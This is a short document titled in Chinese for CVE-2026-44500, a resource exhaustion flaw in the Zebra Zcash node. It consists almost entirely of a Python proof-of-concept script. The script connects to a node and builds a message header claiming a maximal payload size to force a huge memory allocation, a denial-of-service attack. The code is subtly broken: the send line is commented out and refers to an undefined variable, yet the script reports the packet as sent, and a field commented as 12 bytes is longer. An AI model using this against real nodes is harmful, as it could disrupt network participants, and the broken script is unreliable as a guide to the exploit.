CVE-2026-44500 ZEBRA Zcash节点资源耗尽漏洞

import socket import struct # Target Zcash node IP and port TARGET_IP = "127.0.0.1" TARGET_PORT = 8233 def exploit_cve_2026_44500(): """ Conceptual PoC for CVE-2026-44500. This script attempts to trigger the resource exhaustion vulnerability by sending a maliciously large header or block message. """ try: # Connect to the target node s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) print(f"[+] Connected to {TARGET_IP}:{TARGET_PORT}") # Zcash network message structure (Simplified) # Start string, command_name, payload_size, checksum, payload # Malicious payload: A block header or transaction vector with an inflated size # The vulnerability lies in the allocation logic based on 'payload_size' # before validating consensus limits. # Using a large size to force pre-allocation malicious_size = 0xFFFFFFFF # Max uint32, forcing massive allocation command = b"block\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # 12 bytes placeholder checksum = b"\x00" * 4 payload = b"\x00" * 100 # Minimal actual data, but header claims huge size # Construct message (Simplified for demonstration) # In a real exploit, specific wire protocol framing is required. # This demonstrates the concept of sending a large size indicator. print("[+] Sending malicious packet with large size indicator...") # s.send(full_message) # Note: Actual implementation requires correct Zcash P2P message framing. print("[+] Exploit packet sent. Monitor node memory usage.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit_cve_2026_44500()